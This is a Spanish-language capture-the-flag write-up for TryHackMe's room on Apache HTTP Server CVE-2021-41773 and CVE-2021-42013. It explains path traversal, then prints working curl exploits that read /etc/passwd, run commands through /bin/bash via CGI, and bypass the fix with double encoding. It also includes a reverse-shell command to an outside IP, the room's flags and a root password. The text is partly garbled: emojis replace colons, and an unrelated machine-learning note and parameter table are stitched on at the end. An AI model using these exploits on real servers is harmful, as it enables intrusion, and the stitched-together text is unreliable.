
CTF_WRITEUPS/TryHackMe /CVE-2021-41773/
CTF_WRITEUPS/TryHackMe /CVE-2021-41773/
Una breve historia
El 5 de octubre de 2021, se publicó un CVE que detallaba un ataque de path traversal en Apache HTTP Server v2.4.49. Asignado con el número CVE-2021-41773, se publicó con la siguiente descripción:
Se encontró una falla en un cambio realizado en la normalización de rutas en Apache HTTP Server 2.4.49. Un atacante podría usar un ataque de path traversal para asignar URLs a archivos fuera del directorio raíz de documentos esperado. Si los archivos fuera del directorio raíz de documentos no están protegidos por "require all denied", estas solicitudes pueden tener éxito. Además (sic), esta falla podría filtrar el código fuente de archivos interpretados como scripts CGI. Se sabe que este problema se explota en la naturaleza. Este problema solo afecta a Apache 2.4.49 y no a versiones anteriores.
Analicemos esto y veamos qué significa realmente para nosotros:
Muchas correcciones después...
Entonces Apache corrigió este error y lanzó la v2.4.50. Fin de la historia, ¿verdad? Bueno, no exactamente. Solo 2 días después, el 7 de octubre, se publicó un nuevo CVE citando el anterior. Este menciona que la corrección del ataque de path traversal anterior era incompleta, y aún podíamos atravesar si la ruta en cuestión usaba una directiva alias para asignar sus URLs al sistema de archivos. El CVE fue asignado con el número CVE-2021-42013, con la siguiente descripción:
Se descubrió que la corrección para CVE-2021-41773 en Apache HTTP Server 2.4.50 era insuficiente. Un atacante podría usar un ataque de path traversal para asignar URLs a archivos fuera de los directorios configurados mediante directivas de tipo Alias. Si los archivos fuera de estos directorios no están protegidos por la configuración predeterminada habitual "require all denied", estas solicitudes pueden tener éxito. Si los scripts CGI también están habilitados para estas rutas alias (sic), esto podría permitir la ejecución remota de código. Este problema solo afecta a Apache 2.4.49 y Apache 2.4.50, y no a versiones anteriores.
Al igual que antes, podemos aprender algunas cosas aquí:
Mientras procesamos esta locura, veremos la configuración requerida en la siguiente tarea.
Responde las preguntas a continuación
Un poco de teoría
Un exploit de Path Traversal es un ataque que tiene como objetivo acceder a recursos que normalmente son inaccesibles abusando de fallos en la resolución y/o normalización de rutas. Generalmente explotamos este tipo de ataque viajando (también conocido como atravesando) hacia atrás más allá de la raíz supuesta usando la sintaxis ...
¿Normalización? ¿Qué?
Normalmente, cuando se proporciona una ruta para que algún código encuentre un archivo, es necesaria una ruta absoluta. Llamemos a esto la ruta canónica. Cuando se da una ruta relativa, debe normalizarse a una forma canónica para que las bibliotecas del sistema operativo que usan esa ruta puedan encontrar el recurso en cuestión. Esta es una simplificación excesiva, por supuesto, pero la esencia permanece.
En general, existen bibliotecas de plataforma que hacen esta normalización por nosotros, pero en C/C++ normalmente lo hacemos todo nosotros mismos. Si bien esto puede ofrecer cierta flexibilidad, también puede introducir fácilmente fallos si nuestra implementación no es perfecta.
Normalizando URLs
Un servidor HTTP tiene que traducir una URL a una ruta canónica en el sistema de archivos para encontrar el archivo correcto que servir. Si bien definitivamente hay algunos filtros para evitar poder atravesar más allá del directorio raíz de documentos, algunos casos de uso pueden pasarse por alto fácilmente. En este caso, el exploit aprovecha no solo la codificación de URL (llegaremos a eso en un momento), sino también una falla en la normalización de rutas del módulo Alias (supuestamente)
Un aparte sobre la codificación de URL
Definida en RFC 3986 Sección 2, la codificación de URL es un esquema utilizado para codificar caracteres especiales o reservados dentro de una URL. Por ejemplo, los espacios en una URL se codifican como un carácter + (notablemente en los parámetros de consulta). Si queremos codificar un signo más real, debemos codificarlo usando lo que se conoce como "codificación por porcentaje". Esto simplemente implica prefijar el código hexadecimal US-ASCII del carácter con un signo %. En nuestro ejemplo, el símbolo + se puede codificar como %2B.
Cualquier carácter se puede codificar en URL, y las URLs que están completamente codificadas en URL son funcionalmente equivalentes a la versión no codificada. Del RFC: Si dos URIs difieren solo en el caso de los dígitos hexadecimales utilizados en octetos codificados en porcentaje, son equivalentes.
¿Qué pasó con Apache?
Un cambio reciente en el módulo de normalización de rutas en el servidor Apache permitió que una URL especialmente diseñada eludiera los filtros y atravesara más allá del directorio raíz de documentos, permitiendo la lectura arbitraria de archivos en el sistema si la configuración lo permitía. Además, si el módulo CGI estaba habilitado, ¡también es posible la ejecución arbitraria de archivos!
Responde las preguntas a continuación
A) Incluir archivos remotos arbitrarios para ser procesados en el servidor. B) Incluir archivos locales arbitrarios para ser procesados en el servidor. C) Permitir que el servidor exponga archivos arbitrarios. D) Ninguna de las anteriores.
Hackeando Apache por diversión
Ahora que la teoría terminó, pasemos a explotar esta falla. Primero, necesitamos una versión vulnerable de Apache. Afortunadamente, tenemos docker para esto :)```
user@machine$ docker pull httpd:2.4.49
2.4.49: Pulling from library/httpd
07aded7c29c6: Already exists
05bb40c8f148: Already exists
0827b74117da: Already exists
35a526fdcc7d: Pull complete
59fed288cd32: Pull complete
Digest: sha256:dcba0d12e2362fb0c50ec524ae8aa1cca4a4ba7216617a57e7bbca20767e79cc
Status: Downloaded newer image for httpd:2.4.49
docker.io/library/httpd:2.4.49
**Configuración**
Para que este exploit funcione, necesitamos configurar Apache para permitir el acceso a archivos fuera de la raíz de documentos. Podemos ser precisos y especificar un directorio dado, o podemos ir por la ruta YOLO y dar acceso a todo. Para nuestros propósitos, todo funcionará perfectamente. Para comenzar, ejecutemos nuestro contenedor y exploremos la configuración. Tenga en cuenta que estas modificaciones funcionan para ambas versiones vulnerables de Apache.```
user@machine$ docker run --name vuln-httpd -p 8080:80 -d httpd:2.4.49
a4dfc0376d93dc62183982a527b0bef62543e7a91178116bb0480a42ecc0c8dd
user@machine$ docker cp vuln-httpd:/usr/local/apache2/conf/httpd.conf .
user@machine$ grep -C4 -n "Require all denied" httpd.conf
246-# <Directory> blocks below.
247-#
248-<Directory />
249- AllowOverride none
250: Require all denied
251-</Directory>
252-
253-#
254-# Note that from this point forward you must specifically allow
--
303-# The following lines prevent .htaccess and .htpasswd files from being
304-# viewed by Web clients.
305-#
306-<Files ".ht*">
307: Require all denied
308-</Files>
309-
310-#
311-# ErrorLog: The location of the error log file.
user@machine$ sed "250s/denied/granted/" httpd.conf > httpd.new.conf
user@machine$ docker cp http.new.conf vuln-httpd:/usr/local/apache2/conf/httpd.conf
user@machine docker container restart vuln-httpd
vuln-httpd
Como nota al margen, siempre puedes modificar la configuración manualmente. Queremos modificar la parte que dice:``` AllowOverride none Require all denied
Y reemplazar denegado por concedido. Esto le dará a Apache acceso a todo el sistema de archivos (lo cual definitivamente NO es una buena idea, así que no hagas esto en producción. Nunca).
**Configuración para ese jugoso RCE**
Simplemente modificar los controles de acceso dará exposición de datos, pero no RCE. Para obtener RCE en nuestra pequeña PoC, simplemente necesitamos activar el módulo CGI además de los permisos de acceso. Esto hará que el módulo CGI ejecute el script cuando lo llamemos en lugar de simplemente mostrar su contenido. Para habilitar CGI, simplemente necesitamos descomentar la configuración de LoadModule. Asumiendo que todavía tenemos el contenedor que modificamos anteriormente, podemos hacer lo siguiente:```
user@machine$ docker cp vuln-httpd:/usr/local/apache2/conf/httpd.conf .
user@machine$ grep -C4 -n "mod_cgi" httpd.conf
180-#LoadModule asis_module modules/mod_asis.so
181-#LoadModule info_module modules/mod_info.so
182-#LoadModule suexec_module modules/mod_suexec.so
183-<IfModule !mpm_prefork_module>
184: #LoadModule cgid_module modules/mod_cgid.so
185-</IfModule>
186-<IfModule mpm_prefork_module>
187: #LoadModule cgi_module modules/mod_cgi.so
188-</IfModule>
189-#LoadModule dav_fs_module modules/mod_dav_fs.so
190-#LoadModule dav_lock_module modules/mod_dav_lock.so
191-#LoadModule vhost_alias_module modules/mod_vhost_alias.so
--
385-
386-<IfModule cgid_module>
387- #
388- # ScriptSock: On threaded servers, designate the path to the UNIX
389: # socket used to communicate with the CGI daemon of mod_cgid.
390- #
391- #Scriptsock cgisock
392-</IfModule>
393-
user@machine$ sed "184,187s/#//" httpd.conf > httpd.new.conf
user@machine$ docker cp http.new.conf vuln-httpd:/usr/local/apache2/conf/httpd.conf
user@machine docker container restart vuln-httpd
vuln-httpd
Puede, por supuesto, utilizar cualquier editor de texto disponible para modificar los archivos. El método grep/sed funciona con un shell dentro del contenedor, ya que no hay editores de texto disponibles.
¡Vamos a los Exploits!
Ahora que hemos configurado nuestro contenedor, podemos pasar a explotar este CVE (por fin). El método es bastante sencillo e implica codificar en URL uno de los símbolos . en cada segmento de la ruta URL mientras atravesamos. También necesitamos atravesar desde una ruta con alias. Afortunadamente, sabemos por la configuración que la ruta cgi-bin tiene un alias por defecto, ¡así que usemos esa! El exploit difiere ligeramente entre las versiones 2.4.49 y 2.4.50, aunque la última también funciona en la primera.
Apache 2.4.49 sin CGI habilitado
Sin CGI habilitado, solo podemos leer archivos. Usando curl, simplemente accedemos a los archivos que queremos, codificando en URL uno de los . en cada segmento de la ruta.```
user@machine$ curl -v 'http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd'
GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1 Host: localhost:8080 User-Agent: curl/7.74.0 Accept: /
**Apache 2.4.49 con CGI habilitado**
CGI complicará el asunto ya que el módulo intentará ejecutar el archivo recuperado. Para texto plano, como /etc/passwd, esto puede ser problemático :). Para ejecutar nuestro código, simplemente podemos llamar a `sh` o `bash` con el comando en el cuerpo. Tenga en cuenta que el encabezado de respuesta Content-Type también deberá emitirse para que el cliente sepa cómo mostrar los resultados.```
user@machine$ curl -v 'http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash' -d 'echo Content-Type: text/plain; echo; cat /etc/passwd' -H "Content-Type: text/plain"
* Trying 127.0.0.1:8080...
* Connected to localhost (127.0.0.1) port 8080 (#1)
> POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash HTTP/1.1
> Host: localhost:8080
> User-Agent: curl/7.74.0
> Accept: */*
> Content-Type: text/plain
> Content-Length: 52
>
* upload completely sent off: 52 out of 52 bytes
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Mon, 11 Oct 2021 12:22:34 GMT
< Server: Apache/2.4.49 (Unix)
< Transfer-Encoding: chunked
< Content-Type: text/plain
<
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
* Connection #1 to host localhost left intact
Apache 2.4.50
Este ejemplo en particular fue corregido en la versión 2.4.50. Sin embargo, la corrección fue incompleta y no tuvo en cuenta una doble codificación de la URL. En este caso, podemos usar la misma estructura que la versión anterior, con la siguiente ruta:``` user@machine$ curl 'http://localhost:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd' root❌0:0:root:/root:/bin/bash daemon❌1:1:daemon:/usr/sbin:/usr/sbin/nologin bin❌2:2:bin:/bin:/usr/sbin/nologin sys❌3:3:sys:/dev:/usr/sbin/nologin sync❌4:65534:sync:/bin:/bin/sync games❌5:60:games:/usr/games:/usr/sbin/nologin man❌6:12👨/var/cache/man:/usr/sbin/nologin lp❌7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail❌8:8:mail:/var/mail:/usr/sbin/nologin news❌9:9:news:/var/spool/news:/usr/sbin/nologin uucp❌10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy❌13:13:proxy:/bin:/usr/sbin/nologin www-data❌33:33:www-data:/var/www:/usr/sbin/nologin backup❌34:34:backup:/var/backups:/usr/sbin/nologin list❌38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc❌39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats❌41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody❌65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt❌100:65534::/nonexistent:/usr/sbin/nologin
Si observamos detenidamente, podemos ver que la URL decodifica de `%%32%65` a `%2e.` Esto elude el código de filtro y nos permite atravesar fuera de la raíz del servidor web.
**Responde a las preguntas a continuación**
1. **¿Qué módulo debe estar habilitado para obtener ejecución remota de código?**
- **mod_cgi**
---
### Tarea 4: Examen práctico
La configuración es un poco tediosa, así que ya lo he hecho todo por ti. En la máquina virtual adjunta a esta tarea (espera hasta 4 minutos para que se inicie correctamente en una VM de suscriptor, y 7 minutos para la VM gratuita), hay 4 servidores Apache vulnerables configurados de la siguiente manera:
Apache 2.4.49 sin CGI: `http://MACHINE_IP:8080`
Apache 2.4.49 con CGI: `http://MACHINE_IP:8081`
Apache 2.4.50 sin CGI: `http://MACHINE_IP:8082`
Apache 2.4.50 con CGI: `http://MACHINE_IP:8083`
Cada servidor tiene una bandera en el directorio raíz llamada `flag.txt`. Tu tarea es encontrarlas todas.
Como objetivo adicional, intenta obtener un shell real en uno de los servidores con CGI habilitado. El servidor en el puerto 8083 también tiene una bandera raíz oculta.
***Responde a las preguntas a continuación***
1. **¿Cuál es la bandera en el puerto 8080?**
- ***THM{724V3R51N6_P4TH5_F02_FUN}***```
$ curl -v http://10.10.107.169:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/flag.txt
- Trying 10.10.107.169:8080...
- TCP_NODELAY set
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0\* Connected to 10.10.107.169 (10.10.107.169) port 8080 (#0)
> GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/flag.txt HTTP/1.1
> Host: 10.10.107.169:8080
> User-Agent: curl/7.67.0
> Accept: _/_
- Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Wed, 10 Nov 2021 08:57:26 GMT
< Server: Apache/2.4.49 (Unix)
< Last-Modified: Mon, 11 Oct 2021 09:16:12 GMT
< ETag: "1d-5ce102e25be36"
< Accept-Ranges: bytes
< Content-Length: 29
< Content-Type: text/plain
<
{ [29 bytes data]
100 29 100 29 0 0 29 0 0:00:01 --:--:-- 0:00:01 29THM{724V3R51N6_P4TH5_F02_FUN}
- Connection #0 to host 10.10.107.169 left intact
THM{2C3_F20M_C61}``` $ curl -v 'http://10.10.107.169:8081/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash' -d 'echo Content-Type: text/plain; echo; cat /flag.txt' -H "Content-Type: text/plain"
Trying 10.10.107.169:8081...
TCP_NODELAY set % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0* Connected to 10.10.107.169 (10.10.107.169) port 8081 (#0)
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash HTTP/1.1 Host: 10.10.107.169:8081 User-Agent: curl/7.67.0 Accept: / Content-Type: text/plain Content-Length: 50
} [50 bytes data]
upload completely sent off: 50 out of 50 bytes
Mark bundle as not supporting multiuse < HTTP/1.1 200 OK < Date: Wed, 10 Nov 2021 09:01:11 GMT < Server: Apache/2.4.49 (Unix) < Transfer-Encoding: chunked < Content-Type: text/plain < { [23 bytes data] 100 67 0 17 100 50 18 54 --:--:-- --:--:-- --:--:-- 74THM{2C3_F20M_C61}
Connection #0 to host 10.10.107.169 left intact
3. **¿Cuál es la bandera en el puerto 8082?**
- ***THM{D0UBL3_3NC0D1N6_F7W}***```
$ curl 'http://10.10.37.52:8082/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/flag.txt'
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 24 100 24 0 0 23 0 0:00:01 0:00:01 --:--:-- 23THM{D0UBL3_3NC0D1N6_F7W}
5. **¡Pude obtener una shell! (No puedo verificarlo realmente, así que confiaré en ti en eso :))**
***No Answer Needed***
6. **¿Con qué usuario se está ejecutando el servidor Apache?**
- ***daemon***
7. **Encuentra la flag de root en la máquina en el puerto 8083**
- ***THM{P21V_35C_F20M_4P4CH3_15_FUN}***```
$ curl -v 'http://10.10.37.52:8083/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash' -d 'echo; bash -i >& /dev/tcp/10.17.31.150/4242 0>&1'
- Trying 10.10.37.52:8083...
- TCP_NODELAY set
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0\* Connected to 10.10.37.52 (10.10.37.52) port 8083 (#0)
> POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash HTTP/1.1
> Host: 10.10.37.52:8083
> User-Agent: curl/7.67.0
> Accept: _/_
> Content-Length: 48
> Content-Type: application/x-www-form-urlencoded
>
> } [48 bytes data]
- upload completely sent off: 48 out of 48 bytes
- Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Fri, 12 Nov 2021 16:20:43 GMT
< Server: Apache/2.4.50 (Unix)
< Transfer-Encoding: chunked
<
100 48 0 0 0 48 0 0 --:--:-- 0:01:05 --:--:-- 0{ [0 bytes data]
- transfer closed with outstanding read data remaining
100 48 0 0 0 48 0 0 --:--:-- 0:01:05 --:--:-- 0
- Closing connection 0
curl: (18) transfer closed with outstanding read data remaining
Nota: Al usar wandb, el modelo ajustado se guardará automáticamente en tu cuenta de wandb para su uso posterior.
``` $ ncat -lvp 4242 Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Listening on :::4242 Ncat: Listening on 0.0.0.0:4242 Ncat: Connection from 10.10.37.52. Ncat: Connection from 10.10.37.52:35836. bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell daemon@18c7613b3859:/bin$ cd /root cd /root bash: cd: /root: Permission denied daemon@18c7613b3859:/bin$ su root su root Password: ApacheCVEcd /root
ls root.txt cat root.txt THM{P21V_35C_F20M_4P4CH3_15_FUN}
| Parameter | Type | Default | Description |
|---|
use_wandb | bool | false | Si usar Weights & Biases para el seguimiento de experimentos |
train_batch_size | int | 16 | Tamaño de lote para el entrenamiento |
num_epochs | int | 64 | Número de épocas de entrenamiento |
learning_rate | float | 0.00001 | Tasa de aprendizaje para el optimizador |
combined_csv_path | str | ./combined_augmented_data.csv | Ruta al archivo CSV que contiene los datos aumentados combinados |